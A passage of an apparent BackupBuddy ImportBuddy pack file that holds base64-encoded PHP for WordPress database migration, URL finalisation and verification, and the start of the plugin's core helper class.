50ICk7CgkJCX0KCgkJCWlmICggdHJ1ZSA9PT0gJHJlc3VsdHMgKSB7IC8vIFN1Y2Nlc3Mgc28gbW92ZSB0byBuZXh0IGxvb3AuCgkJCQlhcnJheV9zaGlmdCggJHN0ZXBzICk7IC8vIFNoaWZ0cyBzdGVwIG9mZiB0aGUgZnJvbnQgb2YgdGhlIGFycmF5LgoJCQkJaWYgKCAhIGlzX2FycmF5KCAkc3RlcHMgKSApIHsKCQkJCQkkc3RlcHMgPSBhcnJheSgpOwoJCQkJfQoKCQkJCS8vIERvIG5vdGhpbmcuLi4gd2lsbCBqdXN0IGNvbnRpbnVlIHRvIG5leHQgc3RlcC4KCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0RhdGFiYXNlIG1pZ3JhdGlvbiBzdWJzdGVwIGAnIC4gJHN0ZXBbMF0gLiAnYCBmaW5pc2hlZCBzdWNjZXNzZnVsbHkuJyApOwoKCQkJCWlmICggJHRoaXMtPm5lYXJUaW1lTGltaXQoKSApIHsKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdSdW5uaW5nIG91dCBvZiB0aW1lIHJ1bm5pbmcgYnJ1dGVmb3JjZSBzdWJzdGVwcy4gQ2h1bmtpbmcgc3Vic3RlcC4nICk7CgkJCQkJcmV0dXJuIGFycmF5KCBhcnJheSggJHN0ZXBzLCAnJyApICk7IC8vIGFycmF5IG9mIHJlbWFpbmluZyBzdGVwcywgbm8gcmVzdW1lIHBvaW50IHNpbmNlIG5vdCB3aXRoaW4gYSBmdW5jdGlvbi4KCQkJCX0KCQkJfSBlbHNlaWYgKCBpc19hcnJheSggJHJlc3VsdHMgKSApIHsgLy8gTkVFRFMgQ0hVTktJTkcuCgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdTdWJzdGVwIG1pZ3JhdGluZyB0aGUgZGF0YWJhc2UgZGlkIG5vdCBjb21wbGV0ZSBpbiB0aGUgZmlyc3QgcGFzcy4gQ2h1bmtpbmcgaW50byBtdWx0aXBsZSBwYXJ0cy4gUmVzdW1pbmcgc3Vic3RlcCBgJyAuIHByaW50X3IoICRzdGVwLCB0cnVlICkgLiAnYCBzaG9ydGx5IGF0IHBvaW50IGAnIC4gcHJpbnRfciggJHJlc3VsdHNbMF0sIHRydWUgKSAuICdgLicgKTsKCQkJCXJldHVybiBhcnJheSggYXJyYXkoICRzdGVwcywgJHJlc3VsdHNbMF0gKSApOyAvLyBBcnJheSBvZiBzdGVwcyB0byBydW4sIHJlc3VtZSBwb2ludC4KCQkJfSBlbHNlIHsgLy8gRkFMU0Ugb3Igc29tZXRoaW5nIHdlaXJkLi4uCgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAnRGF0YWJhc2UgbWlncmF0aW9uIHN1YnN0ZXAgYCcgLiAkc3RlcFswXSAuICdgIGZhaWxlZC4gU2VlIGxvZyBmb3IgZGV0YWlscy4gVGhpcyBtYXkgb25seSBiZSBhIG5vbi1mYXRhbCB3YXJuaW5nLicgKTsKCQkJCXJldHVybiBmYWxzZTsKCQkJfQoJCX0gLy8gZW5kIGZvcmVhY2guCgoJCS8vIFVwZGF0ZSB0YWJsZSBwcmVmaXhlcyBpbiBzb21lIFdvcmRQcmVzcyBtZXRhIGRhdGEuICR0aGlzLT5uZXR3b3JrUHJlZml4IGlzIHNldCB0byB0aGUgbm9ybWFsIHByZWZpeCBpbiBub24tbXMgZW52aXJvbm1lbnQuCgkJJG9sZF9wcmVmaXggID0gYmFja3VwYnVkZHlfY29yZTo6ZGJFc2NhcGUoICR0aGlzLT5yZXN0b3JlRGF0YVsnZGF0J11bJ2RiX3ByZWZpeCddICk7CgkJJGZpbmFsUHJlZml4ID0gYmFja3VwYnVkZHlfY29yZTo6ZGJFc2NhcGUoICR0aGlzLT5maW5hbFByZWZpeCApOwoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ09sZCBEQiBwcmVmaXg6IGAnIC4gJG9sZF9wcmVmaXggLiAnYDsgT3ZlcnJpZGUgcHJlZml4OiBgJyAuICR0aGlzLT5vdmVycmlkZVByZWZpeCAuICdgLiBOZXcgZmluYWwgREIgcHJlZml4IChvdmVycmlkZSBkb2VzIG5vdCBhcHBseSk6IGAnIC4gJGZpbmFsUHJlZml4IC4gJ2AuIE5ldHdvcmsgcHJlZml4OiBgJyAuICR0aGlzLT5uZXR3b3JrUHJlZml4IC4gJ2AnICk7CgoJCWlmICggJG9sZF9wcmVmaXggIT0gJGZpbmFsUHJlZml4ICkgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdVcGRhdGluZyBwcmVmaXggTUVUQSBkYXRhIGluIHVzZXJtZXRhLCBldGMuJyApOwoJCQkkd3BkYi0+cXVlcnkoICdVUERBVEUgYCcgLiAkdGhpcy0+b3ZlcnJpZGVQcmVmaXggLiAidXNlcm1ldGFgIFNFVCBtZXRhX2tleSA9IFJFUExBQ0UobWV0YV9rZXksICciIC4gJG9sZF9wcmVmaXggLiAiJywgJyIgLiAkZmluYWxQcmVmaXggLiAiJyApOyIgKTsgLy8gdXNlcm1ldGEgdGFibGUgdGVtcG9yYXJpbHkgaXMgaW4gdGhlIG5ldyBzdWJzaXRlJ3MgcHJlZml4IHVudGlsIG5leHQgc3RlcC4KCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnTW9kaWZpZWQgJyAuICR3cGRiLT5yb3dzX2FmZmVjdGVkIC4gJyByb3cocykgd2hpbGUgdXBkYXRpbmcgbWV0YV9rZXlcJ3MgZm9yIERCIHByZWZpeCBpbiBzaXRlXCdzIFtzdWJzaXRlOyB0ZW1wb3JhcnkgaWYgbXVsdGlzaXRlXSB1c2VybWV0YSB0YWJsZSBmcm9tIGAnIC4gJG9sZF9wcmVmaXggLiAnYCB0byBgJyAuICRmaW5hbFByZWZpeCAuICdgLicgKTsKCQkJaWYgKCAhIGVtcHR5KCAkd3BkYi0+bGFzdF9lcnJvciApICkgewoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJ215c3FsIGVycm9yOiAnIC4gJHdwZGItPmxhc3RfZXJyb3IgKTsgfQoKCQkJJHdwZGItPnF1ZXJ5KCAnVVBEQVRFIGAnIC4gJHRoaXMtPm92ZXJyaWRlUHJlZml4IC4gIm9wdGlvbnNgIFNFVCBvcHRpb25fbmFtZSA9ICciIC4gJGZpbmFsUHJlZml4IC4gInVzZXJfcm9sZXMnIFdIRVJFIG9wdGlvbl9uYW1lID0nIiAuICRvbGRfcHJlZml4IC4gInVzZXJfcm9sZXMnIExJTUlUIDEiICk7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ01vZGlmaWVkICcgLiAkd3BkYi0+cm93c19hZmZlY3RlZCAuICcgcm93KHMpIHdoaWxlIHVwZGF0aW5nIG9wdGlvbl9uYW1lIHVzZXJfcm9sZXMgREIgcHJlZml4IGluIFtzdWJzaXRlIGlmIG11bHRpc2l0ZV0gb3B0aW9ucyB0YWJsZSB0byBgJyAuIGJhY2t1cGJ1ZGR5X2NvcmU6OmRiRXNjYXBlKCAkZmluYWxQcmVmaXggKSAuICdgLicgKTsKCQkJaWYgKCAhIGVtcHR5KCAkd3BkYi0+bGFzdF9lcnJvciApICkgewoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJ215c3FsIGVycm9yOiAnIC4gJHdwZGItPmxhc3RfZXJyb3IgKTsgfQoKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ21lc3NhZ2UnLCAnVXBkYXRlZCBwcmVmaXggTUVUQSBkYXRhLicgKTsKCQl9CgoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdtZXNzYWdlJywgJ01pZ3JhdGVkICcgLiBjb3VudCggJGJydXRlZm9yY2VfdGFibGVzICkgLiAnIHRhYmxlcyB2aWEgYnJ1dGUgZm9yY2UuJyApOwoKCQlyZXR1cm4gdHJ1ZTsKCX0gLy8gRW5kIGJydXRlZm9yY2VUYWJsZXMoKS4KCgkvKioKCSAqIEZpbmFsaXplIE1pZ3JhdGlvbgoJICoKCSAqIFVQREFURSBTSVRFL0hPTUUgVVJMUyB0byBwcmV2ZW50IGRvdWJsZSByZXBsYWNlbWVudDsganVzdCBpbiBjYXNlIQoJICoKCSAqIEByZXR1cm4gYm9vbCAgVHJ1ZS4gQWx3YXlzIHJldHVybnMgdHJ1ZS4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIGZpbmFsaXplKCkgewoJCWdsb2JhbCAkd3BkYjsKCgkJaWYgKCAhIGlzc2V0KCAkdGhpcy0+cmVzdG9yZURhdGFbJ2RhdCddWyd0YWJsZXNfc2l6ZXMnXVsgJHRoaXMtPnJlc3RvcmVEYXRhWydkYXQnXVsnZGJfcHJlZml4J10gLiAnb3B0aW9ucycgXSApICkgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdPcHRpb25zIHRhYmxlIHdhcyBub3QgYmFja2VkIHVwLiBTa2lwcGluZyBmaW5hbGl6aW5nIGRhdGFiYXNlIFVSTHMgZm9yIF9vcHRpb25zIHRhYmxlLicgKTsKCQl9IGVsc2UgewoJCQkvLyBVcGRhdGUgU0lURVVSTCBpbiBvcHRpb25zIHRhYmxlLiBVc3VhbGx5IG1hc3MgcmVwbGFjZW1lbnQgd2lsbCBjb3ZlciB0aGlzIGJ1dCBzZXQgdGhlc2UgaGVyZSBqdXN0IGluIGNhc2UuCgkJCSR3cGRiLT5xdWVyeSggJ1VQREFURSBgJyAuICR0aGlzLT5vdmVycmlkZVByZWZpeCAuICJvcHRpb25zYCBTRVQgb3B0aW9uX3ZhbHVlPSciIC4gYmFja3VwYnVkZHlfY29yZTo6ZGJFc2NhcGUoICR0aGlzLT5yZXN0b3JlRGF0YVsnc2l0ZXVybCddICkgLiAiJyBXSEVSRSBvcHRpb25fbmFtZT0nc2l0ZXVybCcgTElNSVQgMSIgKTsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnTW9kaWZpZWQgJyAuICR3cGRiLT5yb3dzX2FmZmVjdGVkIC4gJyByb3cocykgd2hpbGUgdXBkYXRpbmcgU2l0ZSBVUkwgaW4gb3B0aW9ucyB0YWJsZSBgJyAuICR0aGlzLT5vdmVycmlkZVByZWZpeCAuICdvcHRpb25zYCB0byBgJyAuICR0aGlzLT5yZXN0b3JlRGF0YVsnc2l0ZXVybCddIC4gJ2AuID0+ICcgLiBwcmludF9yKCAkdGhpcy0+cmVzdG9yZURhdGEsIHRydWUgKSApOwoJCQlpZiAoICEgZW1wdHkoICR3cGRiLT5sYXN0X2Vycm9yICkgKSB7CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAnbXlzcWwgZXJyb3I6ICcgLiAkd3BkYi0+bGFzdF9lcnJvciApOyB9CgoJCQkvLyBVcGRhdGUgSE9NRSBVUkwgaW4gb3B0aW9ucyB0YWJsZS4gVXN1YWxseSBtYXNzIHJlcGxhY2VtZW50IHdpbGwgY292ZXIgdGhpcyBidXQgc2V0IHRoZXNlIGhlcmUganVzdCBpbiBjYXNlLgoJCQlpZiAoICR0aGlzLT5yZXN0b3JlRGF0YVsnaG9tZXVybCddICE9ICcnICkgewoJCQkJJHdwZGItPnF1ZXJ5KCAnVVBEQVRFIGAnIC4gJHRoaXMtPm92ZXJyaWRlUHJlZml4IC4gIm9wdGlvbnNgIFNFVCBvcHRpb25fdmFsdWU9JyIgLiBiYWNrdXBidWRkeV9jb3JlOjpkYkVzY2FwZSggJHRoaXMtPnJlc3RvcmVEYXRhWydob21ldXJsJ10gKSAuICInIFdIRVJFIG9wdGlvbl9uYW1lPSdob21lJyBMSU1JVCAxIiApOwoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnTW9kaWZpZWQgJyAuICR3cGRiLT5yb3dzX2FmZmVjdGVkIC4gJyByb3cocykgd2hpbGUgdXBkYXRpbmcgSG9tZSBVUkwgaW4gb3B0aW9ucyB0YWJsZSB0byBgJyAuICR0aGlzLT5yZXN0b3JlRGF0YVsnaG9tZXVybCddIC4gJ2AuID0+ICcgLiBwcmludF9yKCAkdGhpcy0+cmVzdG9yZURhdGEsIHRydWUgKSApOwoJCQkJaWYgKCAhIGVtcHR5KCAkd3BkYi0+bGFzdF9lcnJvciApICkgewoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICdteXNxbCBlcnJvcjogJyAuICR3cGRiLT5sYXN0X2Vycm9yICk7IH0KCQkJfQoJCX0KCgkJcmV0dXJuIHRydWU7Cgl9CgoJLyoqCgkgKiBWZXJpZnkgdmFyaW91cyBjb250ZW50cyBvZiB0aGUgZGF0YWJhc2UgYWZ0ZXIgYWxsIG1pZ3JhdGlvbiBpcyBjb21wbGV0ZS4KCSAqCgkgKiBAcmV0dXJuIGJvb2wgIFRydWUuIEFsd2F5cyByZXR1cm5zIHRydWUuCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiB2ZXJpZnlEYXRhYmFzZSgpIHsKCQlnbG9iYWwgJHdwZGI7CgoJCSRkYl9wcmVmaXggPSAkdGhpcy0+b3ZlcnJpZGVQcmVmaXg7CgoJCS8vIElmIHdwX29wdGlvbnMgd2FzIG5vdCBiYWNrZWQgdXAgdGhlbiBza2lwIHRoaXMgZnVuY3Rpb24gc2luY2UgaXQgY2hlY2tzIHRoYXQuCgkJaWYgKCAhIGlzc2V0KCAkdGhpcy0+cmVzdG9yZURhdGFbJ2RhdCddWyd0YWJsZXNfc2l6ZXMnXVsgJHRoaXMtPnJlc3RvcmVEYXRhWydkYXQnXVsnZGJfcHJlZml4J10gLiAnb3B0aW9ucycgXSApICkgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdPcHRpb25zIHRhYmxlIHdhcyBub3QgYmFja2VkIHVwLiBTa2lwcGluZyB2ZXJpZnlpbmcgdGhlIGRhdGFiYXNlLicgKTsKCQkJcmV0dXJuIHRydWU7CgkJfSBlbHNlIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnT3B0aW9ucyB0YWJsZSB3YXMgYmFja2VkIHVwLiBWZXJpZnlpbmcgdGhlIGRhdGFiYXNlLicgKTsKCQl9CgoJCS8vIENoZWNrIHNpdGUgVVJMLgoJCSRyZXN1bHQgPSAkd3BkYi0+Z2V0X3ZhciggIlNFTEVDVCBvcHRpb25fdmFsdWUgRlJPTSBgeyRkYl9wcmVmaXh9b3B0aW9uc2AgV0hFUkUgb3B0aW9uX25hbWU9J3NpdGV1cmwnIExJTUlUIDEiICk7CgkJaWYgKCBmYWxzZSA9PT0gJHJlc3VsdCApIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJ1VuYWJsZSB0byByZXRyaWV2ZSBzaXRldXJsIGZyb20gZGF0YWJhc2UuIEEgcG9ydGlvbiBvZiB0aGUgZGF0YWJhc2UgbWF5IG5vdCBoYXZlIGltcG9ydGVkIChvciB3aXRoIHRoZSB3cm9uZyBwcmVmaXgpLicgKTsKCQl9IGVsc2UgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdGaW5hbCBzaXRlIFVSTDogYCcgLiAkcmVzdWx0IC4gJ2AuJyApOwoJCQlAJHdwZGItPmZsdXNoKCk7IC8vIEZyZWUgbWVtb3J5LgoJCX0KCgkJLy8gQ2hlY2sgaG9tZSBVUkwuCgkJJHJlc3VsdCA9ICR3cGRiLT5nZXRfdmFyKCAiU0VMRUNUIG9wdGlvbl92YWx1ZSBGUk9NIGB7JGRiX3ByZWZpeH1vcHRpb25zYCBXSEVSRSBvcHRpb25fbmFtZT0naG9tZScgTElNSVQgMSIgKTsKCQlpZiAoIGZhbHNlID09PSAkcmVzdWx0ICkgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAnVW5hYmxlIHRvIHJldHJpZXZlIGhvbWUgW3VybF0gZnJvbSBkYXRhYmFzZS4gQSBwb3J0aW9uIG9mIHRoZSBkYXRhYmFzZSBtYXkgbm90IGhhdmUgaW1wb3J0ZWQgKG9yIHdpdGggdGhlIHdyb25nIHByZWZpeCkuJyApOwoJCX0gZWxzZSB7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0ZpbmFsIGhvbWUgVVJMOiBgJyAuICRyZXN1bHQgLiAnYC4nICk7CgkJfQoJCUAkd3BkYi0+Zmx1c2goKTsgLy8gRnJlZSBtZW1vcnkuCgoJCS8vIFZlcmlmeSBtZWRpYSB1cGxvYWQgcGF0aC4KCQkkcmVzdWx0ID0gJHdwZGItPmdldF92YXIoICJTRUxFQ1Qgb3B0aW9uX3ZhbHVlIEZST00gYHskZGJfcHJlZml4fW9wdGlvbnNgIFdIRVJFIG9wdGlvbl9uYW1lPSd1cGxvYWRfcGF0aCcgTElNSVQgMSIgKTsKCQlpZiAoIGZhbHNlID09PSAkcmVzdWx0ICkgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAnVW5hYmxlIHRvIHJldHJpZXZlIHVwbG9hZF9wYXRoIGZyb20gZGF0YWJhc2UgdGFibGUgJyAuICJgeyRkYl9wcmVmaXh9b3B0aW9uc2AiIC4gJy4gQSBwb3J0aW9uIG9mIHRoZSBkYXRhYmFzZSBtYXkgbm90IGhhdmUgaW1wb3J0ZWQgKG9yIHdpdGggdGhlIHdyb25nIHByZWZpeCkuJyApOwoJCQkkbWVkaWFfdXBsb2FkX3BhdGggPSAne0VSUl8zNDgzNDk4NC1VTktOT1dOfSc7CgkJfSBlbHNlIHsKCQkJJG1lZGlhX3VwbG9hZF9wYXRoID0gJHJlc3VsdDsKCQl9CgkJQCR3cGRiLT5mbHVzaCgpOyAvLyBGcmVlIG1lbW9yeS4KCgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnTWVkaWEgdXBsb2FkIHBhdGggaW4gZGF0YWJhc2Ugb3B0aW9ucyB0YWJsZTogYCcgLiAkbWVkaWFfdXBsb2FkX3BhdGggLiAnYC4nICk7CgkJaWYgKCAnLycgPT0gc3Vic3RyKCAkbWVkaWFfdXBsb2FkX3BhdGgsIDAsIDEgKSApIHsgLy8gQWJzb2x1dGUgcGF0aC4KCQkJaWYgKCAhIGZpbGVfZXhpc3RzKCAkbWVkaWFfdXBsb2FkX3BhdGggKSApIHsgLy8gTWVkaWEgcGF0aCBkb2VzIG5vdCBleGlzdC4KCQkJCSRtZWRpYV91cGxvYWRfbWVzc2FnZSA9ICdZb3VyIG1lZGlhIHVwbG9hZCBwYXRoIGlzIGFzc2lnbmVkIGEgZGlyZWN0b3J5IHdoaWNoIGRvZXMgbm90IGFwcGVhciB0byBleGlzdCBvbiB0aGlzIHNlcnZlci4gUGxlYXNlIHZlcmlmeSBpdCBpcyBjb3JyZWN0IGluIHlvdXIgV29yZFByZXNzIHNldHRpbmdzLiBDdXJyZW50IHBhdGg6IGAnIC4gJG1lZGlhX3VwbG9hZF9wYXRoIC4gJ2AuJzsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjphbGVydCggJG1lZGlhX3VwbG9hZF9tZXNzYWdlICk7CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnd2FybmluZycsICRtZWRpYV91cGxvYWRfbWVzc2FnZSApOwoJCQl9IGVsc2UgeyAvLyBNZWRpYSBwYXRoIGRvZXMgZXhpc3QuCgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdZb3VyIG1lZGlhIHVwbG9hZCBwYXRoIGlzIGFzc2lnbmVkIGFuIGFic29sdXRlIHBhdGggd2hpY2ggYXBwZWFycyB0byBiZSBjb3JyZWN0LicgKTsKCQkJfQoJCX0gZWxzZSB7IC8vIFJlbGF0aXZlIHBhdGguCgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1lvdXIgbWVkaWEgdXBsb2FkIHBhdGggaXMgYXNzaWduZWQgYSByZWxhdGl2ZSBwYXRoOyB2YWxpZGl0eSBub3QgdGVzdGVkLicgKTsKCQl9CgoJCXJldHVybiB0cnVlOwoKCX0gLy8gRW5kIHZlcmlmeURhdGFiYXNlKCkuCgoJLyoqCgkgKiBUYWtlcyB0d28gYXJyYXlzLiBMb29rcyBmb3IgYW55IGR1cGxpY2F0ZSB2YWx1ZXMgaW4gdGhlIGZpcnN0IGFycmF5LiBUaGF0IGl0ZW0gaXMgcmVtb3ZlZC4gVGhlIGNvcnJlc3BvbmRpbmcgaXRlbSBpbiB0aGUgc2Vjb25kIGFycmF5IGlzIHJlbW92ZWQgYWxzby4KCSAqIFJlc2V0cyBpbmRleGVzIGFzIGEgY291cnRlc3kgd2hpbGUgbWFpbnRhaW5pbmcgb3JkZXIuCgkgKgoJICogQHBhcmFtIGFycmF5ICRhICBGaXJzdCBhcnJheSB0byBtYWtlIHVuaXF1ZS4KCSAqIEBwYXJhbSBhcnJheSAkYiAgU2Vjb25kIGFycmF5IHRoYXQgaGFzIGl0ZW1zIHJlbW92ZWQgdGhhdCB3ZXJlIGluIHRoZSBzYW1lIHBvc2l0aW9uIGFzIHRoZSByZW1vdmVkIGR1cGxpY2F0ZXMgZm91bmQgaW4gJGEuCgkgKgoJICogQHJldHVybiBhcnJheSAgVW5pcXVlcyBmcm9tIGZpcnN0IGFycmF5LgoJICovCglwdWJsaWMgZnVuY3Rpb24gX2FycmF5X3BhaXJzX3VuaXF1ZV9maXJzdCggJGEsICRiICkgewoJCSRhX3VuaXF1ZXMgPSBhcnJheV91bmlxdWUoICRhICk7IC8vIEdldCB1bmlxdWUgdmFsdWVzIGluICRhLiBLZXlzIGFyZSBtYWludGFpbmVkLgoKCQkkcmVzdWx0ICAgID0gYXJyYXkoKTsKCQkkcmVzdWx0WzBdID0gJGFfdW5pcXVlczsKCQkkcmVzdWx0WzFdID0gYXJyYXlfaW50ZXJzZWN0X2tleSggJGIsICRhX3VuaXF1ZXMgKTsgLy8gR2V0IHRoZSBwYXJ0IG9mIHRoZSAkYiBhcnJheSB0aGF0IGlzIG1pc3NpbmcgZnJvbSAkYS4KCgkJJHJlc3VsdFswXSA9IGFycmF5X21lcmdlKCAkcmVzdWx0WzBdICk7CgkJJHJlc3VsdFsxXSA9IGFycmF5X21lcmdlKCAkcmVzdWx0WzFdICk7CgkJcmV0dXJuICRyZXN1bHQ7Cgl9IC8vIEVuZCBfYXJyYXlfcGFpcnNfdW5pcXVlX2ZpcnN0KCkuCgp9IC8vIGVuZCBjbGFzcyBiYWNrdXBidWRkeV9taWdyYXRlREIuCg==
###PACKDATA,FILE_END,/classes/_migrate_database.php,importbuddy/classes/_migrate_database.php
###PACKDATA,FILE_START,/classes/core.php,importbuddy/classes/core.php
PD9waHAKLyoqCiAqIEJhY2t1cEJ1ZGR5IENvcmUgQ2xhc3MKICoKICogQHBhY2thZ2UgQmFja3VwQnVkZHkKICovCgovKioKICogSGVscGVyIGZ1bmN0aW9ucyBmb3IgQmFja3VwQnVkZHkuCiAqCiAqIFRPRE86IEV2ZW50dWFsbHkgYnJlYWsgb3V0IG9mIGEgbG90IG9mIHRoZXNlIGZyb20gQkIgY29yZS4gTWlncmF0aW5nIGZyb20gb2xkIGZyYW1ld29yayB0byBuZXcgcmVzdWx0ZWQgaW4gdGhpcyBtaWQtd2F5IHRyYW5zaXRpb24gYnV0IGl0J3MgYSBiaXQgbWVzc3kuLi4KICovCmNsYXNzIGJhY2t1cGJ1ZGR5X2NvcmUgewoKCXByaXZhdGUgc3RhdGljICRfY2FjaGVkTG9nRGlyZWN0b3J5ID0gJyc7IC8vIENhY2hlZCBsb2cgZGlyIGZvciBnZXRMb2dEaXJlY3RvcnkoKSB0byBwcmV2ZW50IGhhdmluZyB0byBjYWxsIFdQIHRvIHJldHJpZXZlLgoKCXB1YmxpYyBzdGF0aWMgJHdhcm5fcGx1Z2lucyA9IGFycmF5KAoJCSd3My10b3RhbC1jYWNoZS5waHAnID0+ICdXMyBUb3RhbCBDYWNoZScsCgkJJ3dwLWNhY2hlLnBocCcgICAgICAgPT4gJ1dQIFN1cGVyIENhY2hlJywKCQknd29yZGZlbmNlLnBocCcgICAgICA9PiAnV29yZGZlbmNlJywKCSk7CgoJLyoqCgkgKiBDb252ZXJ0cyBhbiBpbnRlcnZhbCB0aW1lIHBlcmlvZCAobnVtZXJpYykgaW50byBhbiBhcnJheSBvZiBBcnJheSggaW50ZXJ2YWwgdGFnLCB0aGUgZGlzcGxheSB0aXRsZSApLgoJICogUmV0dXJucyBmYWxzZSBpZiBubyBtYXRjaGluZyBpbnRlcnZhbCBmb3VuZCByZWdpc3RlcmVkIHdpdGggV29yZFByZXNzLgoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJGludGVydmFsICBDcm9uIGludGVydmFsLgoJICoKCSAqIEByZXR1cm4gYXJyYXl8ZmFsc2UgIEFycmF5KCAkdGFnLCAkZGlzcGxheSApIG9yIGZhbHNlIGlmIGludGVydmFsIG5vdCBmb3VuZC4KCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBwcmV0dHlDcm9uSW50ZXJ2YWwoICRpbnRlcnZhbCApIHsKCQkkc2NoZWR1bGVfaW50ZXJ2YWxzID0gd3BfZ2V0X3NjaGVkdWxlcygpOwoJCWZvcmVhY2ggKCAkc2NoZWR1bGVfaW50ZXJ2YWxzIGFzICRpbnRlcnZhbF90YWcgPT4gJHNjaGVkdWxlX2ludGVydmFsICkgewoJCQlpZiAoICRpbnRlcnZhbCA9PSAkc2NoZWR1bGVfaW50ZXJ2YWxbJ2ludGVydmFsJ10gKSB7CgkJCQlyZXR1cm4gYXJyYXkoICRpbnRlcnZhbF90YWcsICRzY2hlZHVsZV9pbnRlcnZhbFsnZGlzcGxheSddICk7CgkJCX0KCQl9CgkJcmV0dXJuIGZhbHNlOyAvLyBOb3QgZm91bmQuCgl9CgoJLyoqCgkgKiBDb252ZXJ0IGZ1bmN0aW9uIG5hbWUgdG8gcHJldHR5IHRpdGxlLgoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJGZ1bmN0aW9uICBGdW5jdGlvbiBuYW1lLgoJICogQHBhcmFtIHN0cmluZyAkYXJncyAgICAgIEFycmF5IG9mIGFyZ3VtZW50cy4KCSAqCgkgKiBAcmV0dXJuIHN0cmluZyAgUHJldHRpZmllZCB0aXRsZS4KCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBwcmV0dHlGdW5jdGlvblRpdGxlKCAkZnVuY3Rpb24sICRhcmdzID0gYXJyYXkoKSApIHsKCQlpZiAoICdiYWNrdXBfY3JlYXRlX2RhdGFiYXNlX2R1bXAnID09PSAkZnVuY3Rpb24gKSB7CgkJCSRmdW5jdGlvbl90aXRsZSA9ICdCYWNraW5nIHVwIGRhdGFiYXNlJzsKCQkJaWYgKCAhIGVtcHR5KCAkYXJncyApICkgewoJCQkJLy8gVGhpcyBpcyBub3QgdXNlZC4KCQkJCSRzdWJfZnVuY3Rpb25fdGl0bGUgPSAnVGFibGVzOiAnIC4gaW1wbG9kZSggJywgJywgJGFyZ3NbMF0gKTsKCQkJfQoJCX0gZWxzZWlmICggJ2JhY2t1cF96aXBfZmlsZXMnID09PSAkZnVuY3Rpb24gKSB7CgkJCSRmdW5jdGlvbl90aXRsZSA9ICdaaXBwaW5nIHVwIGZpbGVzJzsKCQl9IGVsc2VpZiAoICdpbnRlZ3JpdHlfY2hlY2snID09PSAkZnVuY3Rpb24gKSB7CgkJCSRmdW5jdGlvbl90aXRsZSA9ICdWZXJpZnlpbmcgYmFja3VwIGZpbGUgaW50ZWdyaXR5JzsKCQl9IGVsc2VpZiAoICdwb3N0X2JhY2t1cCcgPT09ICRmdW5jdGlvbiApIHsKCQkJJGZ1bmN0aW9uX3RpdGxlID0gJ0NsZWFuaW5nIHVwJzsKCQl9IGVsc2VpZiAoICdtc19kb3dubG9hZF9leHRyYWN0X3dvcmRwcmVzcycgPT09ICRmdW5jdGlvbiApIHsKCQkJJGZ1bmN0aW9uX3RpdGxlID0gJ0Rvd25sb2FkaW5nIFdvcmRQcmVzcyBjb3JlIGZpbGVzIGZyb20gd29yZHByZXNzLm9yZyc7CgkJfSBlbHNlaWYgKCAnbXNfY3JlYXRlX3dwX2NvbmZpZycgPT09ICRmdW5jdGlvbiApIHsKCQkJJGZ1bmN0aW9uX3RpdGxlID0gJ0dlbmVyYXRpbmcgc3RhbmRhcmQgd3AtY29uZmlnLnBocCBmb3IgZXhwb3J0JzsKCQl9IGVsc2VpZiAoICdtc19jb3B5X3BsdWdpbnMnID09PSAkZnVuY3Rpb24gKSB7CgkJCSRmdW5jdGlvbl90aXRsZSA9ICdDb3B5aW5nIHBsdWdpbnMnOwoJCX0gZWxzZWlmICggJ21zX2NvcHlfdGhlbWVzJyA9PT0gJGZ1bmN0aW9uICkgewoJCQkkZnVuY3Rpb25fdGl0bGUgPSAnQ29weWluZyB0aGVtZXMnOwoJCX0gZWxzZWlmICggJ21zX2NvcHlfbWVkaWEnID09PSAkZnVuY3Rpb24gKSB7CgkJCS